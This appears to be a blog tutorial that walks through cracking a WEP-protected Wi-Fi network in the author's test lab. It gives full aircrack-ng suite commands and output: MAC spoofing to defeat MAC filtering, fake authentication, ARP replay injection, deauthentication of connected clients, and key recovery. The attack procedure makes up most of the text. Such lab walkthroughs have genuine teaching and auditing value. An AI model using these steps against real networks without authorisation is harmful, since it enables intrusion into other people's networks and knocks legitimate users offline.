Scenario 1 : WEP encryption, OPEN Authentication, MAC filtering enabled, active client on network
The AP in my testlab uses MAC filtering and is configured to use WEP, using OPEN Authentication Method.
In this scenario, I have 2 clients that are currently connected to the wireless network.
My auditor laptop (and old IBM T22) runs backtrack beta 4, and has a PCMCIA network card (Proxim, Atheros chipset) and a Dlink USB Wireless Adapter (DWL-G122). Both adapters will work just fine, however I get better results with the proxim PCMCIA card because it has a range extender.
The process of cracking the wep key for this scenario is
- Put wireless interface in monitor mode (airmon-ng start wireless_interface)
- Find wireless network (channel, BSSID and ESSID) (airodump-ng wireless_interface_in_monitor_mode)
- Find a valid / connected client (MAC Address)
- Wait until client is gone and change mac address to valid client MAC (airmon-ng stop wireless_int, ifconfig wireless_int down, macchanger –m XX:XX:XX:XX:XX:XX wireless_int, ifconfig wireless_int up, airmon-ng start wireless_int)
- Associate with AP and inject ARP packets (airodump-ng –c <channel> –-ivs –w /tmp/filename wireless_int_in_monitormode, aireplay-ng –fakeauth 0 –a <BSSID> –h <local MAC> –e ESSID wireless_int_in_monitormode>, aireplay-ng -3 -b <BSSID> wireless_int_in_monitor_mode)
- If no ARP is found (and injected) in a reasonable amount of time, try to deauthenticate an existing client (aireplay-ng –deauth 0 -a BSSID –c CLientMAC wireless_int_in_monitor_mode)
- Save IV’s to file and crack the key (airocrack-ng –0 –b BSSID /tmp/filename.ivs)
In all cases, in all scenario’s, the most important component is verifying that you can associate with an AP. You’ll learn some techniques on how to do this in this blog. But let’s not jump ahead.
First, list the adapters :
root@bt:~# airmon-ng
Interface Chipset Driver
wifi0 Atheros madwifi-ng
wlan0 Ralink 2573 USB rt73usb - [phy0]
ath0 Atheros madwifi-ng VAP (parent: wifi0)
The wifi0 adapter is the proxim pcmcia card. wlan0 is the Dlink USB adapter. For this test, we’ll use the proxim card (wifi0). The mac address of this card is 00:20:A6:4F:A9:41 (you can get the mac address by running ‘ifconfig wifi0’)
First, put the card in monitor mode :
root@bt:~# airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
wlan0 Ralink 2573 USB rt73usb - [phy0]
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
A new interface called “ath1” has been created. This interface is the one we are going to use in order to find the wireless networks. Launch “airodump-ng ath1” to hop all channels and show the wireless networks that can be found, and the clients (if any) that are currently associated with an Access Point :
root@bt:~# airodump-ng ath1
CH 1 ][ Elapsed: 1 min ][ 2009-02-19 14:05
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:BF:89:9C:D3 34 104 0 0 11 54 . WEP WEP TestNet
BSSID STATION PWR Rate Lost Packets Probe
00:14:BF:89:9C:D3 00:1C:BF:90:5B:A3 55 0- 1 0 12 TestNet
00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 71 0- 1 32 441 TestNet
Ok, so we have found a network with ESSID “TestNet”, operating at channel 11. Apparently there are 2 clients connected to this AP.
Let’s see if we can associate with Access Point with MAC (BSSID) 00:14:BF:89:9C:D3
First, run airodump-ng again, but set it to look at channel 11. This is required for the AP association/authentication (via aireplay-ng) to operate at channel 11 as well (because you cannot specify the channel to use when running aireplay-ng) :
root@bt:/# airodump-ng --channel 11 ath1
Leave the airodump-ng running for now and run the following aireplay-ng command to perform a ‘fake authentication’ attempt :
root@bt:~# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:20:A6:4F:A9:41)
14:14:50 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
14:14:50 Sending Authentication Request (Open System) [ACK]
14:14:50 AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)
14:14:53 Sending Authentication Request (Open System) [ACK]
14:14:53 AP rejects the source MAC address (00:20:A6:4F:A9:41) ?
Authentication failed (code 1)
Ok – Authentication failed, so the AP does MAC filtering. We could try to use the MAC address of one of the clients that are already connected (by specifying its MAC address using the –h parameter), but we’ll change the MAC address on our interface (which will make all future commands shorter)
First, kill the airodump-ng process. Take wifi0 (ath1) out of monitoring mode :
root@bt:~# airmon-ng stop ath1
Interface Chipset Driver
wifi0 Atheros madwifi-ng
wlan0 Ralink 2573 USB rt73usb - [phy0]
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0) (VAP destroyed)
root@bt:~# airmon-ng
Interface Chipset Driver
wifi0 Atheros madwifi-ng
wlan0 Ralink 2573 USB rt73usb - [phy0]
ath0 Atheros madwifi-ng VAP (parent: wifi0)
Bring wifi0 down, change the mac address of wifi0, bring wifi0 up again and then put the interface back in monitor mode :
root@bt:~# ifconfig wifi0 down
root@bt:~# macchanger -m 00:1C:BF:90:5B:A3 wifi0
Current MAC: 00:20:a6:4f:a9:44 (Proxim, Inc.)
Faked MAC: 00:1c:bf:90:5b:a3 (unknown)
root@bt:~# ifconfig wifi0 up
root@bt:~# airmon-ng start wifi0
Interface Chipset Driver
wifi0 Atheros madwifi-ng
wlan0 Ralink 2573 USB rt73usb - [phy0]
ath0 Atheros madwifi-ng VAP (parent: wifi0)
ath1 Atheros madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
root@bt:~# ifconfig ath1
ath1 Link encap:UNSPEC HWaddr 00-1C-BF-90-5B-A3-D0-03-00-00-00-00-00-00-00-00
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:106 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:9448 (9.4 KB) TX bytes:0 (0.0 B)
Ok, looks good
Let’s see if it makes a difference. Run airodump-ng again (airodump-ng –c 11 ath1) and then try to perform the fake authentication again
root@bt:/# aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:20:19 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
14:20:19 Sending Authentication Request (Open System) [ACK]
14:20:19 Authentication successful
14:20:19 Sending Association Request [ACK]
14:20:19 Association successful 
(AID: 1)
If you are connecting to an AP that is a bit picky, then you have some options to tweak the aireplay-ng behaviour :
aireplay-ng -1 6000 -o 1 -q 12 -e TestNet -a 00:14:BF:89:9C:D3 ath1
–1 6000 = reauthenticate every 6000 seconds
-o 1 = only send one set of packets at a time
-q 12= send keepalive packets every 12 seconds (sometimes, it works better without this last parameter)
From this point forward, you should be able to associate with the AP. If not, there’s no use in continuing with the process.
Ok, now let’s try to crack the key. First, stop the existing airodump process and run airodump-ng with the option to save the iv’s to a file (parameter –i or –ivs):
root@bt:~# airodump-ng -c 11 -w /tmp/TestNetAudit1 -i ath1
CH 11 ][ Elapsed: 12 s ][ 2009-02-19 14:24
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:BF:89:9C:D3 34 100 135 0 0 11 54 . WEP WEP OPN TestNet
BSSID STATION PWR Rate Lost Packets Probe
00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 43 0- 1 10 84 TestNet
The number of #Data packets is most likely still very low and does not go up as fast as we want it to. So we need to grab an ARP packet and inject it.
First, launch aireplay-ng in injection mode :
root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:26:55 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-142655.cap
You should also start airodump-ng to capture replies.
Read 243 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps)
(leave this running – wait until an ARP request is seen. The tool will then automatically attempt to inject the ARP packets, thus increasing the number of data packets (and iv’s) on the network). Some AP’s require you to be associated (or will perform disassociate after a while). It might take a couple of minutes before an ARP is seen. If you don’t have a lot of time, it might help trying to associate yourself again :
aireplay-ng --fakeauth 0 -a 00:14:BF:89:9C:D3 -e TestNet ath1
If that does not generate the required ARP packet(s), which should set off the ARP injection, then try to deauthenticate the existing clients. (which may not work very well if the AP has MAC filtering enabled. If you have a second client MAC address, you can set your own MAC address to one of the clients and try to deauth the other client…)
Keep the aireplay-ng and airodump-ng running and run the deauth attack.
root@bt:/# aireplay-ng --deauth 0 -a 00:14:BF:89:9C:D3 ath1
14:38:15 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
14:38:15 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:16 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:17 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:18 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
14:38:19 Sending DeAuth to broadcast -- BSSID: [00:14:BF:89:9C:D3]
If this works, the valid client will be disconnected. When the client connects again (in most cases, this happens automatically), and after max. a couple of minutes, you should see that the ARP injection process starts to work :
root@bt:~# aireplay-ng -3 -b 00:14:BF:89:9C:D3 ath1
For information, no action required: Using gettimeofday() instead of /dev/rtc
No source MAC (-h) specified. Using the device MAC (00:1C:BF:90:5B:A3)
14:39:08 Waiting for beacon frame (BSSID: 00:14:BF:89:9C:D3) on channel 11
Saving ARP requests in replay_arp-0219-143908.cap
You should also start airodump-ng to capture replies.
Redd 7951 packets (got 878 ARP requests and 589 ACKs), sent 7116 packets...(499 pps)
At the same time, you should start to see the number of data packets increasing rapidly :
CH 11 ][ Elapsed: 7 mins ][ 2009-02-19 14:32 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:BF:89:9C:D3 34 97 4582 41799 814 11 54 . WEP WEP OPN TestNet
BSSID STATION PWR Rate Lost Packets Probe
00:14:BF:89:9C:D3 00:19:5B:52:AD:F7 71 0- 1 46 2495 TestNet
00:14:BF:89:9C:D3 00:1C:BF:90:5B:A3 34 54- 1 0 51017 TestNet
For a 128bit WEP key, you’ll probably need between 80000 and 250000 data packets. However you don’t need to wait until you’ve gathered all those packets. You can already try to break the key using the ivs file that is being generated. As long as the key is not found, and the number of packets keeps growing, the crack process will automatically reread the file and attempt to crack the key.
By the time I wrote the last 2 lines of text, I had already captured 140000 IVs, which appears to be sufficient to crack the key in one shot. So if your coverage is good, signal is strong, and the injection works well, it may go very fast.
root@bt:/# aircrack-ng –0 -b 00:14:BF:89:9C:D3 /tmp/TestNetAudit1-01.ivs
Opening /tmp/TestNetAudit1-01.ivs
Reading packets, please wait...
Aircrack-ng 1.0 rc2 r1415
[00:00:01] Tested 865 keys (got 140507 IVs)
KB depth byte(vote)
0 0/ 1 A3(203120) 73(160718) 31(256416) 18(156160) DD(154112) FE(153344)
1 0/ 9 EA(193816) 22(150440) AD(254880) 0D(153856) 9B(153856) 4B(153600)
2 0/ 1 D3(212716) AD(197696) 22(135904) E6(153601) 4A(153334) 89(151208)
3 7/ 3 AA(153630) 1F(122064) B0(141808) BB(151552) 3C(151040) F8(150724)
4 13/ 4 DD(150086) 23(139760) 05(129534) E4(149504) 04(149248) 70(149238)
KEY FOUND! [ A3:EA:D3:AA:DD:73:22:AD:1F:23:31:AD:22 ]
Decrypted correctly: 100%
If you would not have had enough IVs, the aircrack-ng process would just sit and wait until the file has grown bigger and would then attempt to crack the key again.
If the packets all of a sudden stop increasing, then stop the injection process, start it again, re-associate, perhaps deauthenticate an existing client and it should continue to grow.
In my case, the key was cracked in 1 second. The total process took about 10 minutes.
The key is 26 characters, so if we assume that the key is in hex, we are dealing with 128bit WEP. This mode is also called WEP104
(In case you forgot : WEP40 = 64bit, WEP104 = 128bit, WEP1xx = 256bit)
13.845500
100.524101
Like this:
Be the first to like this post.
